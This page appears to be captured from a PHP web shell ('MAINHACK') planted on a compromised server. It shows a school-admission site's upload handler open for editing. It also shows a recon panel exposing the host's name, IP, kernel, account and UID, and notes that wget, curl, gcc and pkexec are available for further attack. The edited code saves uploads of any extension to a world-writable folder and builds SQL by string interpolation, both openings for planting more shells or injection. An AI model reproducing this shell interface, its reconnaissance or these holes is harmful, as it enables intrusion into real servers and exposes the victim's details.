[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: complete-process.php
<?php include("../functions.php"); if(!isset($_SESSION['dbmail_Xw211qAAsq4'])){ header("location:../auth-login"); } else { $s_code = $_SESSION['s_code_Xw2119904']; $message = ""; if($_SERVER["REQUEST_METHOD"] == "POST"){ if(!csrf_token_is_valid() || !csrf_token_is_recent()) { $message = "<p class='alert alert-danger text-center ' role='alert'>Token Authentication Failed</p>"; } else { $school_region = test_input($_POST['school_region']); $school_location = test_input($_POST['school_location']); $head_title = test_input($_POST['head_title']); $school_head = test_input($_POST['school_head']); $school_type = test_input($_POST['school_type']); // if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) { $file1 = $_FILES['file']; $originalFileName = $_FILES['file']['name']; $fileType = $_FILES['file']['type']; $fileTmpName = $_FILES['file']['tmp_name']; $fileSize = $_FILES['file']['size']; // Generate a random name for the file to avoid collisions $randomName = bin2hex(random_bytes(8)); // Generates a random 16-character string $fileExtension = pathinfo($originalFileName, PATHINFO_EXTENSION); $newFileName = $randomName . '.' . $fileExtension; // Define the folder to save the uploaded file $uploadFolder = 'uploads/'; if (!file_exists($uploadFolder)) { mkdir($uploadFolder, 0777, true); } // The path where the file will be saved $destination = $uploadFolder . $newFileName; move_uploaded_file($fileTmpName, $destination); $update = "UPDATE schools SET school_region = '$school_region' , school_location = '$school_location',head_title = '$head_title', school_head = '$school_head',logo='$destination',school_type = '$school_type' WHERE school_code = '$s_code'"; $con = mysqli_query($new,$update); header("location:index"); } } } ?> <!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <title>School admission | Register </title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta content="" name="description" /> <meta content="eliosof" name="author" /> <!-- <link rel="shortcut icon" href="assets/images/favicon.ico"> --> <link rel="stylesheet" href="assets/libs/twitter-bootstrap-wizard/prettify.css"> <link rel="stylesheet" href="assets/css/preloader.min.css" type="text/css" /> <link href="assets/css/bootstrap.min.css" id="bootstrap-style" rel="stylesheet" type="text/css" /> <link href="assets/css/icons.min.css" rel="stylesheet" type="text/css" /> <link href="assets/css/app.min.css" id="app-style" rel="stylesheet" type="text/css" /> </head> <body> <div id="layout-wrapper"> <div class="main-content"> <div class="row"> <div class="col-lg-12"> <div class="card"> <div class="card-body"> <div id="progrss-wizard" class="twitter-bs-wizard"> <ul class="twitter-bs-wizard-nav nav nav-pills nav-justified"> <li class="nav-item"> <a href="#progress-seller-details" class="nav-link" data-toggle="tab"> <div class="step-icon" data-bs-toggle="tooltip" data-bs-placement="top" title="Complete process"> <i class="bx bx-list-ul"></i> </div> </a> </li> <li class="nav-item"> <a href="#progress-company-document" class="nav-link" data-toggle="tab"> <div class="step-icon" data-bs-toggle="tooltip" data-bs-placement="top" title="Complete process"> <i class="bx bx-book-bookmark"></i> </div> </a> </li> <li class="nav-item"> <a href="#progress-bank-detail" class="nav-link" data-toggle="tab"> <div class="step-icon" data-bs-toggle="tooltip" data-bs-placement="top" title="Complete process"> <i class="bx bxs-bank"></i> </div> </a> </li> </ul> <!-- wizard-nav --> <div id="bar" class="progress mt-4"> <div class="progress-bar bg-success progress-bar-striped progress-bar-animated"></div> </div> <div class="tab-content twitter-bs-wizard-tab-content"> <div class="tab-pane" id="progress-seller-details"> <div class="text-center mb-4"> <h5>School Details</h5> <p class="card-title-desc">Complete the process by filling the form below</p> </div> <?php if($message != "") { echo ($message) ; }?> <form method="POST" enctype="multipart/form-data" class="needs-validation mt-4 pt-2" novalidate> <?php echo csrf_token_tag(); ?> <div class="row"> <div class="col-lg-6"> <div class="mb-3"> <label for="progresspill-firstname-input">Region located</label> <select class="form-control" name="school_region" required> <option value="" >Select region</option> <?php $select_program = mysqli_query($new,"SELECT * FROM region order by name DESC"); while ($prog = mysqli_fetch_array($select_program)) { ?> <option value="<?php echo $prog['name'] ;?>"><?php echo $prog['name'] ;?></option> <?php }?> </select> </div> </div> <div class="col-lg-6"> <div class="mb-3"> <label for="progresspill-lastname-input">School Address</label> <input type="text" name="school_location" class="form-control" id="progresspill-lastname-input" placeholder="Enter school Address" required> <div class="invalid-feedback"> Address is required </div> </div> </div> </div> <div class="row"> <div class="col-lg-6"> <div class="mb-3"> <label for="progresspill-phoneno-input">Title of Head eg. Headmaster</label> <input type="text" name="head_title" class="form-control" id="progresspill-phoneno-input" placeholder="Title of Head eg. Headmaster" required> <div class="invalid-feedback"> Field is required </div> </div> <div class="mb-3"> <label for="progresspill-email-input">School logo</label> <input type="file" name="file" class="form-control" required> <div class="invalid-feedback"> upload logo </div> </div> </div> <div class="col-lg-6"> <div class="mb-3"> <label for="progresspill-email-input">Name of Head of School</label> <input type="text" name="school_head" class="form-control" id="progresspill-email-input" placeholder="Name of Head of School" required> <div class="invalid-feedback"> Field is required </div> </div> <div class="mb-3"> <label for="progresspill-email-input">School type</label> <select class="form-control" name="school_type" required> <option value="" >Select</option> <option value="Boys">Boys School</option> <option value="Girls">Girls School</option> <option value="Mixed">Mixed School</option> </select> </div> </div> </div> </div> <!-- <div class="row"> <div class="col-lg-6"> <div class="mb-3"> <label for="progresspill-email-input">School logo</label> <input type="file" name="file" class="form-control" required> <div class="invalid-feedback"> upload logo </div> </div> </div> </div> --> </div> <ul class="pager wizard twitter-bs-wizard-pager-link"> <li class="float-end"> <button type="suvmit" name="submit" class="btn btn-primary">Submit</button> </li> </ul> </form> </div> </div> </div> </div> </div> </div> </div> </div> </div> </div> <div class="modal fade confirmModal" tabindex="-1" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-header border-bottom-0"> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body"> <div class="text-center"> <div class="mb-3"> <i class="bx bx-check-circle display-4 text-success"></i> </div> <h5>Confirm Save Changes</h5> </div> </div> <div class="modal-footer justify-content-center"> <button type="button" class="btn btn-light w-md" data-bs-dismiss="modal">Close</button> <button type="button" class="btn btn-primary w-md" data-bs-dismiss="modal" >Save changes</button> </div> </div> </div> </div> <!-- end modal --> <footer class="footer"> <div class="container-fluid"> <div class="row"> <div class="col-sm-6"> <script>document.write(new Date().getFullYear())</script> © School Admission. </div> <div class="col-sm-6"> <div class="text-sm-end d-none d-sm-block"> Design & Develop by <a href="#!" class="text-decoration-underline">eliosof</a> </div> </div> </div> </div> </footer> </div> </div> <!-- Right bar overlay--> <div class="rightbar-overlay"></div> <!-- JAVASCRIPT --> <script src="assets/libs/jquery/jquery.min.js"></script> <script src="assets/libs/bootstrap/js/bootstrap.bundle.min.js"></script> <script src="assets/libs/metismenu/metisMenu.min.js"></script> <script src="assets/libs/simplebar/simplebar.min.js"></script> <script src="assets/libs/node-waves/waves.min.js"></script> <script src="assets/libs/feather-icons/feather.min.js"></script> <!-- pace js --> <script src="assets/libs/pace-js/pace.min.js"></script> <!-- twitter-bootstrap-wizard js --> <script src="assets/libs/twitter-bootstrap-wizard/jquery.bootstrap.wizard.min.js"></script> <script src="assets/libs/twitter-bootstrap-wizard/prettify.js"></script> <!-- form wizard init --> <script src="assets/js/pages/form-wizard.init.js"></script> <script src="assets/js/app.js"></script> <script src="assets/js/pages/validation.init.js"></script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002